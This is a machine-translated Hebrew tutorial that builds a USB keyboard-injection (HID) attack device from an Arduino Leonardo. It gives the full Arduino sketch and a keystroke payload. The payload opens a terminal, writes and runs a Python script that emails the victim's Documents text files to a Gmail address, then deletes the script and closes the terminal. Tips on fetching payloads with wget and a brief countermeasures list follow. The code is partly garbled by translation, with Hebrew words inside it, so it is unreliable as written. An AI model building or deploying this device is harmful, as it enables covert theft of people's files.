תוכן עניינים:

הדגמת ניצול מקלדת של Arduino (HID) ומניעה: 4 שלבים (עם תמונות)
הדגמת ניצול מקלדת של Arduino (HID) ומניעה: 4 שלבים (עם תמונות)

וִידֵאוֹ: הדגמת ניצול מקלדת של Arduino (HID) ומניעה: 4 שלבים (עם תמונות)

וִידֵאוֹ: הדגמת ניצול מקלדת של Arduino (HID) ומניעה: 4 שלבים (עם תמונות)
וִידֵאוֹ: בדיקת מקלדת בדיקת מקשים במקלדת 2024, יולי
Anonim
Image
Image
בניית המכשיר
בניית המכשיר

בפרויקט זה אנו הולכים להשתמש בלאונרדו ארדואינו כדי לדמות התקפת USB אפשרית באמצעות HID (מכשיר ממשק humain).

יצרתי הדרכה זו לא כדי לעזור להאקרים אלא להראות לך כמה סכנות אמיתיות וכיצד להגן על עצמך מפני סכנות אלה. המכשיר הזה הוא לא מכשיר שניתן להשתמש בו בכל פלטפורמה להאקרים, הוא יותר הוכחת מושג לפרטי פרטים.

אנו הולכים ללמוד את הדברים הבאים:

- כיצד להשתמש בארדואינו לאונרדו לחיקוי מקלדת

- כיצד לקרוא נתונים מכרטיסי SD

- כיצד ליצור סקריפט פייתון הסורק קבצים ושולח אותם בדוא ל

- כיצד להגן על עצמך מפני התקני פריצת USB

שלב 1: חומרים

חלקים:

1. ארדואינו לאונרדו

2. קורא כרטיסי מיקרו USB

3. כרטיס SD של כמה GB

4. לחצן כמו זה (VCC, קרקע ואות)

5. כבלי מגשר נקבה-זכר ונקבה-נקבה

6. כבל מיקרו USB ל- USB

שלב 2: בניית המכשיר

בניית המכשיר
בניית המכשיר

לפני הוראת הבנייה בואו נסקור את עקרון העבודה:

Arduino leonardo יכול להתנהג כמו מכשיר ממשק אנושי (HID) ולכן יכול לחקות עכבר ומקלדת. אנו הולכים להשתמש בתכונה זו כדי לפתוח מסוף (ב- UBUNTU לינוקס) ולכתוב סקריפט קטן שיגשת לתיקיית /מסמכים בתוך תיקיית הבית של המשתמש להעתיק קבצי.txt לשם ולשלוח אותם בדוא ל למישהו. אם ברצונך לברר פרטים נוספים בדוק את השלב הבא.

מכיוון שמדובר במכשיר הדגמה הדברים פשוטים באמת, אנחנו לא הולכים להלחים שום דבר.

הוראות בנייה

לפני שנתחיל לבדוק את הקבצים המצורפים, צירפתי תרשימי פריצה וכל הקבצים הדרושים

1. הרכיבו את הרכיבים:

* חבר את כבל המיקרו USB בארדואינו

* חבר את מתג המפתח לארדואינו (מודול הארקה, vcc ויציאה ל- D8)

* חבר את קורא הכרטיסים לארדואינו (באמצעות כותרת ICSP). ל- Arduino leonardo אין כותרת ICSP המחוברת לפינים דיגיטליים, כך שתצטרך לחבר את קורא הכרטיסים לכותרת ICSP. אתה יכול למצוא כמה ציורים של ה- ICSP כאן: https://learn.sparkfun.com/tutorials/installing-an…. חבר את סיכת ה- SS לסיכה הדיגיטלית 10

2. קבל את קוד הארדואינו, תוכל לשבט את מאגר הארדואינים שלי ב- github: https://github.com/danionescu0/arduino וללכת לפרויקטים/keyboard_exploit או לקבל אותו מלמטה:

#כלול "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "שינה::"; String commandStartingPoint = "פקודה::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; הגדרת void () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("הכרטיס נכשל או לא קיים!"); לַחֲזוֹר; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("הועלה!"); עיכוב (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {קובץ dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("שם הקובץ שצוין אינו קיים בכרטיס SD, בדוק filenameOnCard!"); } קו מחרוזת; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (שורה); sendToKeyboard (שורה); } dataFile.close (); } void sendToKeyboard (קו מחרוזת) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (שורה); לַחֲזוֹר; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("טקסט:"); Serial.println (שורה); Keyboard.println (שורה); לחץ אנטר(); לַחֲזוֹר; } Serial.println ("פקודה:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); פקודת String = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("נמצאה פקודה:"); Serial.println (פקודה); Keyboard.press (getCommandCode (פקודה)); עיכוב (delayBetweenCommands); }} Keyboard.releaseAll (); עיכוב (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (קו מחרוזת) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("שינה עבור:"); Serial.println (sleepAmount); עיכוב (sleepAmount); } char getCommandCode (טקסט מחרוזת) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char char = textCharacters [0]; קוד = (טקסט == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: קוד; קוד = (טקסט == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: קוד; קוד = (טקסט == "KEY_LEFT_ALT")? KEY_LEFT_ALT: קוד; קוד = (טקסט == "KEY_UP_ARROW")? KEY_UP_ARROW: קוד; קוד = (טקסט == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: קוד; קוד = (טקסט == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: קוד; קוד = (טקסט == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: קוד; קוד = (טקסט == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: קוד; קוד = (טקסט == "KEY_BACKSPACE")? KEY_BACKSPACE: קוד; קוד = (טקסט == "KEY_TAB")? KEY_TAB: קוד; קוד = (טקסט == "KEY_RETURN")? KEY_RETURN: קוד; קוד = (טקסט == "KEY_ESC")? KEY_ESC: קוד; קוד = (טקסט == "KEY_INSERT")? KEY_INSERT: קוד; קוד = (טקסט == "KEY_DELETE")? KEY_DELETE: קוד; קוד = (טקסט == "KEY_PAGE_UP")? KEY_PAGE_UP: קוד; קוד = (טקסט == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: קוד; קוד = (טקסט == "KEY_HOME")? KEY_HOME: קוד; קוד = (טקסט == "KEY_END")? KEY_END: קוד; קוד = (טקסט == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: קוד; קוד = (טקסט == "KEY_F1")? KEY_F1: קוד; קוד = (טקסט == "KEY_F2")? KEY_F2: קוד; קוד = (טקסט == "KEY_F3")? KEY_F3: קוד; קוד = (טקסט == "KEY_F4")? KEY_F4: קוד; קוד = (טקסט == "KEY_F5")? KEY_F5: קוד; קוד = (טקסט == "KEY_F6")? KEY_F6: קוד; קוד = (טקסט == "KEY_F7")? KEY_F7: קוד; קוד = (טקסט == "KEY_F8")? KEY_F8: קוד; קוד = (טקסט == "KEY_F9")? KEY_F9: קוד; קוד = (טקסט == "KEY_F10")? KEY_F10: קוד; קוד = (טקסט == "KEY_F11")? KEY_F1: קוד; קוד = (טקסט == "KEY_F12")? KEY_F2: קוד;

קוד החזרה;

}

3. העלה את הקוד לארדואינו, הקפד לבחור קצב שידור של 9600, היציאה הטורית והארדואינו לאונרדו

4. עיצב את כרטיס ה- sd באמצעות FAT16 או FAT32

5. אם שיבטת את ריפו github מלמעלה, העתק את קובץ hack.txt בכרטיס, אם לא הקובץ מופיע להלן:

פקודה:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT יבוא smtplib import glob, os מ- os.path ייבוא הרחבה מ- email. MIMEM רב -יבוא MIMEMultipart מ- email. MIMEBase יבוא MIMEBase מהאימייל. ייבוא MIME טקסט MIM טקסט מהדוא"ל. כלי יבוא COMMASPACE, פורמט תאריך מקודדי ייבוא דוא"ל

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'מסמכים'

subject = body = 'קבצים מהמחשב שנפרץ'

header = 'אל: {0} n מאת: {1} n נושא: {2} n'.format (to_address, smtp_user, subject)

def sendMail (אל, נושא, טקסט, קבצים = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (טקסט)) לקובץ בקבצים: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (קובץ)) msg.attach (חלק)

שרת = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. ערוך את השורות הבאות:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

והחלף בכתובות הדוא"ל שלך

7. הסר את הכרטיס והכנס אותו לתוך קורא כרטיסי הארדואינו

שלב 3: איך זה עובד בפרטים

כיצד תעבוד ההתקפה:

1. כאשר לוחצים על הכפתור, לאונרדו יקרא את כרטיס ה- sd באמצעות קורא כרטיסי sd. על הכרטיס יופיע קובץ מיוחד המכיל מפתחות ושילוב מקשים. שם הקובץ הוא "hack.txt".

הקובץ יכול להכיל טקסט גולמי והוא יעבור למקלדת בדיוק כפי שהוא.

כמו כן הוא יכול להכיל פקודות מיוחדות כמו "Sleep::" ו- "Command::".

שורה כמו:

שינה:: 200 פירושו שינה של 200 אלפיות השנייה

שורה כמו:

פקודה:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t פירושו לחיצה על ctrl שמאלה, לחיצה alt שמאלה, t לחיצה והכל משוחרר

אתה יכול לבדוק את כל המפתחות המיוחדים כאן:

2. לאונרדו יקרא שורה אחר שורה, ויפרש את הפקודות ויחקה את המקשים במקלדת. הקובץ "hack.txt" מכיל שילוב של מפתחות שעושה את הפעולות הבאות (עבור UBUNTU לינוקס):

א. פותח מסוף (CTRL + ALT + T)

ב. פותח קובץ פייתון ליצירה באמצעות vi (כותב "vi hack.py"

ג. כותב בתוכו סקריפט פייתון שאוסף את כל קבצי הטקסט בתוך תיקיית הבית של המסמכים ושולח אותם לכתובת gmail שצוין

ד. מריץ את הקובץ ברקע ("nohup python hack.py &")

ה. מוחק את הקובץ (rm -rf hack.py)

ו. סוגר את הטרמינל (ALT + F4)

כל העניין הזה פועל תוך כמה שניות ולא משאיר עקבות.

שיפורים ופתרון בעיות

* אולי תשימו לב שאחרי שאני פותח מסוף אני כותב את קובץ הפיתון. דרך טובה יותר לזה תהיה לארח אותו איפשהו ולהוריד אותו באמצעות הפקודה "wget some_url" ולאחר מכן לשנות את שמו ל- hack.py

* כמו כן נוכל להוריד או להריץ ניצול מוכן למערכת ההפעלה הממוקדת

* ניתן להוסיף wifi למודול, ולהעלות את הפריצות באמצעות WIFI

* אתה יכול להשתמש במיקרו ארדואינו (שהוא הרבה יותר קטן) ולהטמיע עליו קוד ניצול (כדי להקטין אותו)

מגבלות

1. מכיוון שלמכשיר המדומה (מקלדת ועכבר) אין משוב, איננו יודעים מה יקרה לאחר הוצאת פקודה שמשמעותה שעלינו להשתמש בעיכובים. לדוגמה, אני מוציא פקודה לפתיחת מסוף, אך אינני יודע מתי הוא יהיה פתוח בפועל, לכן עלי לציין עיכוב שרירותי על מנת להבטיח שהתווים שהוקלדו אחריהם לא יאבדו.

2. אנו עשויים להיתקל בבעיות הרשאה כמו אין גישה ליציאת ה- USB או הרשאה להתקין משהו

3. מהירות ההקלדה היא לא כל כך גדולה על לאונרדו

4. יעבוד רק על מערכת הפעלה ממוקדת (במקרה שלנו UBUNTU לינוקס)

בשלב הבא ננסה למצוא דרכים לנצל מגבלות אלה כדי למנוע פריצה מהמחשב שלנו

שלב 4: אמצעי נגד

1. השבתת יציאות USB

-עבור Windows אתה יכול לבדוק הדרכה זו:

2. התקני USB לרשימת ההיתרים:

- עבור חלונות:

2. נעל את המחשב כשאתה לא נמצא

3. אל תיכנס כשורש (דרוש סיסמאות להתקנת כל דבר)

4. שמור על עצמך מעודכן (עדכונים אוטומטיים מופעלים)

מוּמלָץ: